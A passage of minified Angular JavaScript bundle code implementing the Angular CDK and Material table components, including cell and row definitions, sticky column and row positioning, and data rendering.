new(Me||Ge)(n.Y36(k,8))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkColumnDef",""]],contentQueries:function(Me,O,de){if(1&Me&&(n.Suo(de,se,5),n.Suo(de,ee,5),n.Suo(de,q,5)),2&Me){let h;n.iGM(h=n.CRH())&&(O.cell=h.first),n.iGM(h=n.CRH())&&(O.headerCell=h.first),n.iGM(h=n.CRH())&&(O.footerCell=h.first)}},inputs:{sticky:"sticky",name:["cdkColumnDef","name"],stickyEnd:"stickyEnd"},features:[n._Bn([{provide:"MAT_SORT_HEADER_COLUMN_DEF",useExisting:Ge}]),n.qOj]}),Ge})();class Ze{constructor(vt,Me){Me.nativeElement.classList.add(...vt._columnCssClassName)}}let le=(()=>{class Ge extends Ze{constructor(Me,O){super(Me,O)}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(je),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["cdk-header-cell"],["th","cdk-header-cell",""]],hostAttrs:["role","columnheader",1,"cdk-header-cell"],features:[n.qOj]}),Ge})(),Oe=(()=>{class Ge extends Ze{constructor(Me,O){if(super(Me,O),1===Me._table?._elementRef.nativeElement.nodeType){const de=Me._table._elementRef.nativeElement.getAttribute("role");O.nativeElement.setAttribute("role","grid"===de||"treegrid"===de?"gridcell":"cell")}}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(je),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["cdk-footer-cell"],["td","cdk-footer-cell",""]],hostAttrs:[1,"cdk-footer-cell"],features:[n.qOj]}),Ge})(),Qe=(()=>{class Ge extends Ze{constructor(Me,O){if(super(Me,O),1===Me._table?._elementRef.nativeElement.nodeType){const de=Me._table._elementRef.nativeElement.getAttribute("role");O.nativeElement.setAttribute("role","grid"===de||"treegrid"===de?"gridcell":"cell")}}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(je),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["cdk-cell"],["td","cdk-cell",""]],hostAttrs:[1,"cdk-cell"],features:[n.qOj]}),Ge})();class Ye{constructor(){this.tasks=[],this.endTasks=[]}}const qe=new n.OlP("_COALESCED_STYLE_SCHEDULER");let Ke=(()=>{class Ge{constructor(Me){this._ngZone=Me,this._currentSchedule=null,this._destroyed=new _.xQ}schedule(Me){this._createScheduleIfNeeded(),this._currentSchedule.tasks.push(Me)}scheduleEnd(Me){this._createScheduleIfNeeded(),this._currentSchedule.endTasks.push(Me)}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_createScheduleIfNeeded(){this._currentSchedule||(this._currentSchedule=new Ye,this._getScheduleObservable().pipe((0,H.R)(this._destroyed)).subscribe(()=>{for(;this._currentSchedule.tasks.length||this._currentSchedule.endTasks.length;){const Me=this._currentSchedule;this._currentSchedule=new Ye;for(const O of Me.tasks)O();for(const O of Me.endTasks)O()}this._currentSchedule=null}))}_getScheduleObservable(){return this._ngZone.isStable?(0,S.D)(Promise.resolve(void 0)):this._ngZone.onStable.pipe((0,j.q)(1))}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.LFG(n.R0b))},Ge.\\u0275prov=n.Yz7({token:Ge,factory:Ge.\\u0275fac}),Ge})(),bt=(()=>{class Ge{constructor(Me,O){this.template=Me,this._differs=O}ngOnChanges(Me){if(!this._columnsDiffer){const O=Me.columns&&Me.columns.currentValue||[];this._columnsDiffer=this._differs.find(O).create(),this._columnsDiffer.diff(O)}}getColumnsDiff(){return this._columnsDiffer.diff(this.columns)}extractCellTemplate(Me){return this instanceof re?Me.headerCell.template:this instanceof xt?Me.footerCell.template:Me.cell.template}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc),n.Y36(n.ZZ4))},Ge.\\u0275dir=n.lG2({type:Ge,features:[n.TTD]}),Ge})();class ze extends bt{}const De=Ce(ze);let re=(()=>{class Ge extends De{constructor(Me,O,de){super(Me,O),this._table=de}ngOnChanges(Me){super.ngOnChanges(Me)}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc),n.Y36(n.ZZ4),n.Y36(k,8))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkHeaderRowDef",""]],inputs:{columns:["cdkHeaderRowDef","columns"],sticky:["cdkHeaderRowDefSticky","sticky"]},features:[n.qOj,n.TTD]}),Ge})();class ve extends bt{}const We=Ce(ve);let xt=(()=>{class Ge extends We{constructor(Me,O,de){super(Me,O),this._table=de}ngOnChanges(Me){super.ngOnChanges(Me)}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc),n.Y36(n.ZZ4),n.Y36(k,8))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkFooterRowDef",""]],inputs:{columns:["cdkFooterRowDef","columns"],sticky:["cdkFooterRowDefSticky","sticky"]},features:[n.qOj,n.TTD]}),Ge})(),Be=(()=>{class Ge extends bt{constructor(Me,O,de){super(Me,O),this._table=de}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc),n.Y36(n.ZZ4),n.Y36(k,8))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkRowDef",""]],inputs:{columns:["cdkRowDefColumns","columns"],when:["cdkRowDefWhen","when"]},features:[n.qOj]}),Ge})(),pe=(()=>{class Ge{constructor(Me){this._viewContainer=Me,Ge.mostRecentCellOutlet=this}ngOnDestroy(){Ge.mostRecentCellOutlet===this&&(Ge.mostRecentCellOutlet=null)}}return Ge.mostRecentCellOutlet=null,Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","cdkCellOutlet",""]]}),Ge})(),P=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-header-row"],["tr","cdk-header-row",""]],hostAttrs:["role","row",1,"cdk-header-row"],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),w=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-footer-row"],["tr","cdk-footer-row",""]],hostAttrs:["role","row",1,"cdk-footer-row"],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),R=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-row"],["tr","cdk-row",""]],hostAttrs:["role","row",1,"cdk-row"],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),X=(()=>{class Ge{constructor(Me){this.templateRef=Me,this._contentClassName="cdk-no-data-row"}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["ng-template","cdkNoDataRow",""]]}),Ge})();const _e=["top","bottom","left","right"];class ct{constructor(vt,Me,O,de,h=!0,$=!0,ke){this._isNativeHtmlTable=vt,this._stickCellCss=Me,this.direction=O,this._coalescedStyleScheduler=de,this._isBrowser=h,this._needsPositionStickyOnElement=$,this._positionListener=ke,this._cachedCellWidths=[],this._borderCellCss={top:`${Me}-border-elem-top`,bottom:`${Me}-border-elem-bottom`,left:`${Me}-border-elem-left`,right:`${Me}-border-elem-right`}}clearStickyPositioning(vt,Me){const O=[];for(const de of vt)if(de.nodeType===de.ELEMENT_NODE){O.push(de);for(let h=0;h<de.children.length;h++)O.push(de.children[h])}this._coalescedStyleScheduler.schedule(()=>{for(const de of O)this._removeStickyStyle(de,Me)})}updateStickyColumns(vt,Me,O,de=!0){if(!vt.length||!this._isBrowser||!Me.some(Qt=>Qt)&&!O.some(Qt=>Qt))return void(this._positionListener&&(this._positionListener.stickyColumnsUpdated({sizes:[]}),this._positionListener.stickyEndColumnsUpdated({sizes:[]})));const h=vt[0],$=h.children.length,ke=this._getCellWidths(h,de),lt=this._getStickyStartColumnPositions(ke,Me),Wt=this._getStickyEndColumnPositions(ke,O),p1=Me.lastIndexOf(!0),w1=O.indexOf(!0);this._coalescedStyleScheduler.schedule(()=>{const Qt="rtl"===this.direction,h1=Qt?"right":"left",N1=Qt?"left":"right";for(const Y1 of vt)for(let T1=0;T1<$;T1++){const V1=Y1.children[T1];Me[T1]&&this._addStickyStyle(V1,h1,lt[T1],T1===p1),O[T1]&&this._addStickyStyle(V1,N1,Wt[T1],T1===w1)}this._positionListener&&(this._positionListener.stickyColumnsUpdated({sizes:-1===p1?[]:ke.slice(0,p1+1).map((Y1,T1)=>Me[T1]?Y1:null)}),this._positionListener.stickyEndColumnsUpdated({sizes:-1===w1?[]:ke.slice(w1).map((Y1,T1)=>O[T1+w1]?Y1:null).reverse()}))})}stickRows(vt,Me,O){if(!this._isBrowser)return;const de="bottom"===O?vt.slice().reverse():vt,h="bottom"===O?Me.slice().reverse():Me,$=[],ke=[],lt=[];for(let p1=0,w1=0;p1<de.length;p1++){if(!h[p1])continue;$[p1]=w1;const Qt=de[p1];lt[p1]=this._isNativeHtmlTable?Array.from(Qt.children):[Qt];const h1=Qt.getBoundingClientRect().height;w1+=h1,ke[p1]=h1}const Wt=h.lastIndexOf(!0);this._coalescedStyleScheduler.schedule(()=>{for(let p1=0;p1<de.length;p1++){if(!h[p1])continue;const w1=$[p1],Qt=p1===Wt;for(const h1 of lt[p1])this._addStickyStyle(h1,O,w1,Qt)}"top"===O?this._positionListener?.stickyHeaderRowsUpdated({sizes:ke,offsets:$,elements:lt}):this._positionListener?.stickyFooterRowsUpdated({sizes:ke,offsets:$,elements:lt})})}updateStickyFooterContainer(vt,Me){if(!this._isNativeHtmlTable)return;const O=vt.querySelector("tfoot");this._coalescedStyleScheduler.schedule(()=>{Me.some(de=>!de)?this._removeStickyStyle(O,["bottom"]):this._addStickyStyle(O,"bottom",0,!1)})}_removeStickyStyle(vt,Me){for(const de of Me)vt.style[de]="",vt.classList.remove(this._borderCellCss[de]);_e.some(de=>-1===Me.indexOf(de)&&vt.style[de])?vt.style.zIndex=this._getCalculatedZIndex(vt):(vt.style.zIndex="",this._needsPositionStickyOnElement&&(vt.style.position=""),vt.classList.remove(this._stickCellCss))}_addStickyStyle(vt,Me,O,de){vt.classList.add(this._stickCellCss),de&&vt.classList.add(this._borderCellCss[Me]),vt.style[Me]=`${O}px`,vt.style.zIndex=this._getCalculatedZIndex(vt),this._needsPositionStickyOnElement&&(vt.style.cssText+="position: -webkit-sticky; position: sticky; ")}_getCalculatedZIndex(vt){const Me={top:100,bottom:10,left:1,right:1};let O=0;for(const de of _e)vt.style[de]&&(O+=Me[de]);return O?`${O}`:""}_getCellWidths(vt,Me=!0){if(!Me&&this._cachedCellWidths.length)return this._cachedCellWidths;const O=[],de=vt.children;for(let h=0;h<de.length;h++)O.push(de[h].getBoundingClientRect().width);return this._cachedCellWidths=O,O}_getStickyStartColumnPositions(vt,Me){const O=[];let de=0;for(let h=0;h<vt.length;h++)Me[h]&&(O[h]=de,de+=vt[h]);return O}_getStickyEndColumnPositions(vt,Me){const O=[];let de=0;for(let h=vt.length;h>0;h--)Me[h]&&(O[h]=de,de+=vt[h]);return O}}const b=new n.OlP("CDK_SPL");let ie=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","rowOutlet",""]]}),Ge})(),Xe=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","headerRowOutlet",""]]}),Ge})(),it=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","footerRowOutlet",""]]}),Ge})(),wt=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","noDataRowOutlet",""]]}),Ge})(),qt=(()=>{class Ge{constructor(Me,O,de,h,$,ke,lt,Wt,p1,w1,Qt,h1){this._differs=Me,this._changeDetectorRef=O,this._elementRef=de,this._dir=$,this._platform=lt,this._viewRepeater=Wt,this._coalescedStyleScheduler=p1,this._viewportRuler=w1,this._stickyPositioningListener=Qt,this._ngZone=h1,this._onDestroy=new _.xQ,this._columnDefsByName=new Map,this._customColumnDefs=new Set,this._customRowDefs=new Set,this._customHeaderRowDefs=new Set,this._customFooterRowDefs=new Set,this._headerRowDefChanged=!0,this._footerRowDefChanged=!0,this._stickyColumnStylesNeedReset=!0,this._forceRecalculateCellWidths=!0,this._cachedRenderRowsMap=new Map,this.stickyCssClass="cdk-table-sticky",this.needsPositionStickyOnElement=!0,this._isShowingNoDataRow=!1,this._multiTemplateDataRows=!1,this._fixedLayout=!1,this.contentChanged=new n.vpe,this.viewChange=new g.X({start:0,end:Number.MAX_VALUE}),h||this._elementRef.nativeElement.setAttribute("role","table"),this._document=ke,this._isNativeHtmlTable="TABLE"===this._elementRef.nativeElement.nodeName}get trackBy(){return this._trackByFn}set trackBy(Me){this._trackByFn=Me}get dataSource(){return this._dataSource}set dataSource(Me){this._dataSource!==Me&&this._switchDataSource(Me)}get multiTemplateDataRows(){return this._multiTemplateDataRows}set multiTemplateDataRows(Me){this._multiTemplateDataRows=(0,s.Ig)(Me),this._rowOutlet&&this._rowOutlet.viewContainer.length&&(this._forceRenderDataRows(),this.updateStickyColumnStyles())}get fixedLayout(){return this._fixedLayout}set fixedLayout(Me){this._fixedLayout=(0,s.Ig)(Me),this._forceRecalculateCellWidths=!0,this._stickyColumnStylesNeedReset=!0}ngOnInit(){this._setupStickyStyler(),this._isNativeHtmlTable&&this._applyNativeTableSections(),this._dataDiffer=this._differs.find([]).create((Me,O)=>this.trackBy?this.trackBy(O.dataIndex,O.data):O),this._viewportRuler.change().pipe((0,H.R)(this._onDestroy)).subscribe(()=>{this._forceRecalculateCellWidths=!0})}ngAfterContentChecked(){this._cacheRowDefs(),this._cacheColumnDefs();const O=this._renderUpdatedColumns()||this._headerRowDefChanged||this._footerRowDefChanged;this._stickyColumnStylesNeedReset=this._stickyColumnStylesNeedReset||O,this._forceRecalculateCellWidths=O,this._headerRowDefChanged&&(this._forceRenderHeaderRows(),this._headerRowDefChanged=!1),this._footerRowDefChanged&&(this._forceRenderFooterRows(),this._footerRowDefChanged=!1),this.dataSource&&this._rowDefs.length>0&&!this._renderChangeSubscription?this._observeRenderChanges():this._stickyColumnStylesNeedReset&&this.updateStickyColumnStyles(),this._checkStickyStates()}ngOnDestroy(){[this._rowOutlet.viewContainer,this._headerRowOutlet.viewContainer,this._footerRowOutlet.viewContainer,this._cachedRenderRowsMap,this._customColumnDefs,this._customRowDefs,this._customHeaderRowDefs,this._customFooterRowDefs,this._columnDefsByName].forEach(Me=>{Me.clear()}),this._headerRowDefs=[],this._footerRowDefs=[],this._defaultRowDef=null,this._onDestroy.next(),this._onDestroy.complete(),(0,u.Z9)(this.dataSource)&&this.dataSource.disconnect(this)}renderRows(){this._renderRows=this._getAllRenderRows();const Me=this._dataDiffer.diff(this._renderRows);if(!Me)return this._updateNoDataRow(),void this.contentChanged.next();const O=this._rowOutlet.viewContainer;this._viewRepeater.applyChanges(Me,O,(de,h,$)=>this._getEmbeddedViewArgs(de.item,$),de=>de.item.data,de=>{1===de.operation&&de.context&&this._renderCellTemplateForItem(de.record.item.rowDef,de.context)}),this._updateRowIndexContext(),Me.forEachIdentityChange(de=>{O.get(de.currentIndex).context.$implicit=de.item.data}),this._updateNoDataRow(),this._ngZone&&n.R0b.isInAngularZone()?this._ngZone.onStable.pipe((0,j.q)(1),(0,H.R)(this._onDestroy)).subscribe(()=>{this.updateStickyColumnStyles()}):this.updateStickyColumnStyles(),this.contentChanged.next()}addColumnDef(Me){this._customColumnDefs.add(Me)}removeColumnDef(Me){this._customColumnDefs.delete(Me)}addRowDef(Me){this._customRowDefs.add(Me)}removeRowDef(Me){this._customRowDefs.delete(Me)}addHeaderRowDef(Me){this._customHeaderRowDefs.add(Me),this._headerRowDefChanged=!0}removeHeaderRowDef(Me){this._customHeaderRowDefs.delete(Me),this._headerRowDefChanged=!0}addFooterRowDef(Me){this._customFooterRowDefs.add(Me),this._footerRowDefChanged=!0}removeFooterRowDef(Me){this._customFooterRowDefs.delete(Me),this._footerRowDefChanged=!0}setNoDataRow(Me){this._customNoDataRow=Me}updateStickyHeaderRowStyles(){const Me=this._getRenderedRows(this._headerRowOutlet),de=this._elementRef.nativeElement.querySelector("thead");de&&(de.style.display=Me.length?"":"none");const h=this._headerRowDefs.map($=>$.sticky);this._stickyStyler.clearStickyPositioning(Me,["top"]),this._stickyStyler.stickRows(Me,h,"top"),this._headerRowDefs.forEach($=>$.resetStickyChanged())}updateStickyFooterRowStyles(){const Me=this._getRenderedRows(this._footerRowOutlet),de=this._elementRef.nativeElement.querySelector("tfoot");de&&(de.style.display=Me.length?"":"none");const h=this._footerRowDefs.map($=>$.sticky);this._stickyStyler.clearStickyPositioning(Me,["bottom"]),this._stickyStyler.stickRows(Me,h,"bottom"),this._stickyStyler.updateStickyFooterContainer(this._elementRef.nativeElement,h),this._footerRowDefs.forEach($=>$.resetStickyChanged())}updateStickyColumnStyles(){const Me=this._getRenderedRows(this._headerRowOutlet),O=this._getRenderedRows(this._rowOutlet),de=this._getRenderedRows(this._footerRowOutlet);(this._isNativeHtmlTable&&!this._fixedLayout||this._stickyColumnStylesNeedReset)&&(this._stickyStyler.clearStickyPositioning([...Me,...O,...de],["left","right"]),this._stickyColumnStylesNeedReset=!1),Me.forEach((h,$)=>{this._addStickyColumnStyles([h],this._headerRowDefs[$])}),this._rowDefs.forEach(h=>{const $=[];for(let ke=0;ke<O.length;ke++)this._renderRows[ke].rowDef===h&&$.push(O[ke]);this._addStickyColumnStyles($,h)}),de.forEach((h,$)=>{this._addStickyColumnStyles([h],this._footerRowDefs[$])}),Array.from(this._columnDefsByName.values()).forEach(h=>h.resetStickyChanged())}_getAllRenderRows(){const Me=[],O=this._cachedRenderRowsMap;this._cachedRenderRowsMap=new Map;for(let de=0;de<this._data.length;de++){let h=this._data[de];const $=this._getRenderRowsForData(h,de,O.get(h));this._cachedRenderRowsMap.has(h)||this._cachedRenderRowsMap.set(h,new WeakMap);for(let ke=0;ke<$.length;ke++){let lt=$[ke];const Wt=this._cachedRenderRowsMap.get(lt.data);Wt.has(lt.rowDef)?Wt.get(lt.rowDef).push(lt):Wt.set(lt.rowDef,[lt]),Me.push(lt)}}return Me}_getRenderRowsForData(Me,O,de){return this._getRowDefs(Me,O).map($=>{const ke=de&&de.has($)?de.get($):[];if(ke.length){const lt=ke.shift();return lt.dataIndex=O,lt}return{data:Me,rowDef:$,dataIndex:O}})}_cacheColumnDefs(){this._columnDefsByName.clear(),u1(this._getOwnDefs(this._contentColumnDefs),this._customColumnDefs).forEach(O=>{this._columnDefsByName.has(O.name),this._columnDefsByName.set(O.name,O)})}_cacheRowDefs(){this._headerRowDefs=u1(this._getOwnDefs(this._contentHeaderRowDefs),this._customHeaderRowDefs),this._footerRowDefs=u1(this._getOwnDefs(this._contentFooterRowDefs),this._customFooterRowDefs),this._rowDefs=u1(this._getOwnDefs(this._contentRowDefs),this._customRowDefs);const Me=this._rowDefs.filter(O=>!O.when);this._defaultRowDef=Me[0]}_renderUpdatedColumns(){const Me=($,ke)=>$||!!ke.getColumnsDiff(),O=this._rowDefs.reduce(Me,!1);O&&this._forceRenderDataRows();const de=this._headerRowDefs.reduce(Me,!1);de&&this._forceRenderHeaderRows();const h=this._footerRowDefs.reduce(Me,!1);return h&&this._forceRenderFooterRows(),O||de||h}_switchDataSource(Me){this._data=[],(0,u.Z9)(this.dataSource)&&this.dataSource.disconnect(this),this._renderChangeSubscription&&(this._renderChangeSubscription.unsubscribe(),this._renderChangeSubscription=null),Me||(this._dataDiffer&&this._dataDiffer.diff([]),this._rowOutlet.viewContainer.clear()),this._dataSource=Me}_observeRenderChanges(){if(!this.dataSource)return;let Me;(0,u.Z9)(this.dataSource)?Me=this.dataSource.connect(this):(0,C.b)(this.dataSource)?Me=this.dataSource:Array.isArray(this.dataSource)&&(Me=(0,z.of)(this.dataSource)),this._renderChangeSubscription=Me.pipe((0,H.R)(this._onDestroy)).subscribe(O=>{this._data=O||[],this.renderRows()})}_forceRenderHeaderRows(){this._headerRowOutlet.viewContainer.length>0&&this._headerRowOutlet.viewContainer.clear(),this._headerRowDefs.forEach((Me,O)=>this._renderRow(this._headerRowOutlet,Me,O)),this.updateStickyHeaderRowStyles()}_forceRenderFooterRows(){this._footerRowOutlet.viewContainer.length>0&&this._footerRowOutlet.viewContainer.clear(),this._footerRowDefs.forEach((Me,O)=>this._renderRow(this._footerRowOutlet,Me,O)),this.updateStickyFooterRowStyles()}_addStickyColumnStyles(Me,O){const de=Array.from(O.columns||[]).map(ke=>this._columnDefsByName.get(ke)),h=de.map(ke=>ke.sticky),$=de.map(ke=>ke.stickyEnd);this._stickyStyler.updateStickyColumns(Me,h,$,!this._fixedLayout||this._forceRecalculateCellWidths)}_getRenderedRows(Me){const O=[];for(let de=0;de<Me.viewContainer.length;de++){const h=Me.viewContainer.get(de);O.push(h.rootNodes[0])}return O}_getRowDefs(Me,O){if(1==this._rowDefs.length)return[this._rowDefs[0]];let de=[];if(this.multiTemplateDataRows)de=this._rowDefs.filter(h=>!h.when||h.when(O,Me));else{let h=this._rowDefs.find($=>$.when&&$.when(O,Me))||this._defaultRowDef;h&&de.push(h)}return de}_getEmbeddedViewArgs(Me,O){return{templateRef:Me.rowDef.template,context:{$implicit:Me.data},index:O}}_renderRow(Me,O,de,h={}){const $=Me.viewContainer.createEmbeddedView(O.template,h,de);return this._renderCellTemplateForItem(O,h),$}_renderCellTemplateForItem(Me,O){for(let de of this._getCellTemplates(Me))pe.mostRecentCellOutlet&&pe.mostRecentCellOutlet._viewContainer.createEmbeddedView(de,O);this._changeDetectorRef.markForCheck()}_updateRowIndexContext(){const Me=this._rowOutlet.viewContainer;for(let O=0,de=Me.length;O<de;O++){const $=Me.get(O).context;$.count=de,$.first=0===O,$.last=O===de-1,$.even=O%2==0,$.odd=!$.even,this.multiTemplateDataRows?($.dataIndex=this._renderRows[O].dataIndex,$.renderIndex=O):$.index=this._renderRows[O].dataIndex}}_getCellTemplates(Me){return Me&&Me.columns?Array.from(Me.columns,O=>{const de=this._columnDefsByName.get(O);return Me.extractCellTemplate(de)}):[]}_applyNativeTableSections(){const Me=this._document.createDocumentFragment(),O=[{tag:"thead",outlets:[this._headerRowOutlet]},{tag:"tbody",outlets:[this._rowOutlet,this._noDataRowOutlet]},{tag:"tfoot",outlets:[this._footerRowOutlet]}];for(const de of O){const h=this._document.createElement(de.tag);h.setAttribute("role","rowgroup");for(const $ of de.outlets)h.appendChild($.elementRef.nativeElement);Me.appendChild(h)}this._elementRef.nativeElement.appendChild(Me)}_forceRenderDataRows(){this._dataDiffer.diff([]),this._rowOutlet.viewContainer.clear(),this.renderRows()}_checkStickyStates(){const Me=(O,de)=>O||de.hasStickyChanged();this._headerRowDefs.reduce(Me,!1)&&this.updateStickyHeaderRowStyles(),this._footerRowDefs.reduce(Me,!1)&&this.updateStickyFooterRowStyles(),Array.from(this._columnDefsByName.values()).reduce(Me,!1)&&(this._stickyColumnStylesNeedReset=!0,this.updateStickyColumnStyles())}_setupStickyStyler(){this._stickyStyler=new ct(this._isNativeHtmlTable,this.stickyCssClass,this._dir?this._dir.value:"ltr",this._coalescedStyleScheduler,this._platform.isBrowser,this.needsPositionStickyOnElement,this._stickyPositioningListener),(this._dir?this._dir.change:(0,z.of)()).pipe((0,H.R)(this._onDestroy)).subscribe(O=>{this._stickyStyler.direction=O,this.updateStickyColumnStyles()})}_getOwnDefs(Me){return Me.filter(O=>!O._table||O._table===this)}_updateNoDataRow(){const Me=this._customNoDataRow||this._noDataRow;if(!Me)return;const O=0===this._rowOutlet.viewContainer.length;if(O===this._isShowingNoDataRow)return;const de=this._noDataRowOutlet.viewContainer;if(O){const h=de.createEmbeddedView(Me.templateRef),$=h.rootNodes[0];1===h.rootNodes.length&&$?.nodeType===this._document.ELEMENT_NODE&&($.setAttribute("role","row"),$.classList.add(Me._contentClassName))}else de.clear();this._isShowingNoDataRow=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.ZZ4),n.Y36(n.sBO),n.Y36(n.SBq),n.$8M("role"),n.Y36(a.Is,8),n.Y36(E.K0),n.Y36(c.t4),n.Y36(u.k),n.Y36(qe),n.Y36(f.rL),n.Y36(b,12),n.Y36(n.R0b,8))},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-table"],["table","cdk-table",""]],contentQueries:function(Me,O,de){if(1&Me&&(n.Suo(de,X,5),n.Suo(de,je,5),n.Suo(de,Be,5),n.Suo(de,re,5),n.Suo(de,xt,5)),2&Me){let h;n.iGM(h=n.CRH())&&(O._noDataRow=h.first),n.iGM(h=n.CRH())&&(O._contentColumnDefs=h),n.iGM(h=n.CRH())&&(O._contentRowDefs=h),n.iGM(h=n.CRH())&&(O._contentHeaderRowDefs=h),n.iGM(h=n.CRH())&&(O._contentFooterRowDefs=h)}},viewQuery:function(Me,O){if(1&Me&&(n.Gf(ie,7),n.Gf(Xe,7),n.Gf(it,7),n.Gf(wt,7)),2&Me){let de;n.iGM(de=n.CRH())&&(O._rowOutlet=de.first),n.iGM(de=n.CRH())&&(O._headerRowOutlet=de.first),n.iGM(de=n.CRH())&&(O._footerRowOutlet=de.first),n.iGM(de=n.CRH())&&(O._noDataRowOutlet=de.first)}},hostAttrs:[1,"cdk-table"],hostVars:2,hostBindings:function(Me,O){2&Me&&n.ekj("cdk-table-fixed-layout",O.fixedLayout)},inputs:{trackBy:"trackBy",dataSource:"dataSource",multiTemplateDataRows:"multiTemplateDataRows",fixedLayout:"fixedLayout"},outputs:{contentChanged:"contentChanged"},exportAs:["cdkTable"],features:[n._Bn([{provide:k,useExisting:Ge},{provide:u.k,useClass:u.yy},{provide:qe,useClass:Ke},{provide:b,useValue:null}])],ngContentSelectors:G,decls:6,vars:0,consts:[["headerRowOutlet",""],["rowOutlet",""],["noDataRowOutlet",""],["footerRowOutlet",""]],template:function(Me,O){1&Me&&(n.F$t(U),n.Hsn(0),n.Hsn(1,1),n.GkF(2,0)(3,1)(4,2)(5,3))},dependencies:[ie,Xe,it,wt],styles:[".cdk-table-fixed-layout{table-layout:fixed}"],encapsulation:2}),Ge})();function u1(Ge,vt){return Ge.concat(Array.from(vt))}let _t=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275mod=n.oAB({type:Ge}),Ge.\\u0275inj=n.cJS({imports:[f.Cl]}),Ge})();var kt=d(3238),Fe=d(6787),be=d(3426),Pe=d(4850);const Re=[[["caption"]],[["colgroup"],["col"]]],Ue=["caption","colgroup, col"];let mt=(()=>{class Ge extends qt{constructor(){super(...arguments),this.stickyCssClass="mat-table-sticky",this.needsPositionStickyOnElement=!1}}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-table"],["table","mat-table",""]],hostAttrs:[1,"mat-table"],hostVars:2,hostBindings:function(Me,O){2&Me&&n.ekj("mat-table-fixed-layout",O.fixedLayout)},exportAs:["matTable"],features:[n._Bn([{provide:u.k,useClass:u.yy},{provide:qt,useExisting:Ge},{provide:k,useExisting:Ge},{provide:qe,useClass:Ke},{provide:b,useValue:null}]),n.qOj],ngContentSelectors:Ue,decls:6,vars:0,consts:[["headerRowOutlet",""],["rowOutlet",""],["noDataRowOutlet",""],["footerRowOutlet",""]],template:function(Me,O){1&Me&&(n.F$t(Re),n.Hsn(0),n.Hsn(1,1),n.GkF(2,0)(3,1)(4,2)(5,3))},dependencies:[ie,Xe,it,wt],styles:["mat-table{display:block}mat-header-row{min-height:56px}mat-row,mat-footer-row{min-height:48px}mat-row,mat-header-row,mat-footer-row{display:flex;border-width:0;border-bottom-width:1px;border-style:solid;align-items:center;box-sizing:border-box}mat-cell:first-of-type,mat-header-cell:first-of-type,mat-footer-cell:first-of-type{padding-left:24px}[dir=rtl] mat-cell:first-of-type:not(:only-of-type),[dir=rtl] mat-header-cell:first-of-type:not(:only-of-type),[dir=rtl] mat-footer-cell:first-of-type:not(:only-of-type){padding-left:0;padding-right:24px}mat-cell:last-of-type,mat-header-cell:last-of-type,mat-footer-cell:last-of-type{padding-right:24px}[dir=rtl] mat-cell:last-of-type:not(:only-of-type),[dir=rtl] mat-header-cell:last-of-type:not(:only-of-type),[dir=rtl] 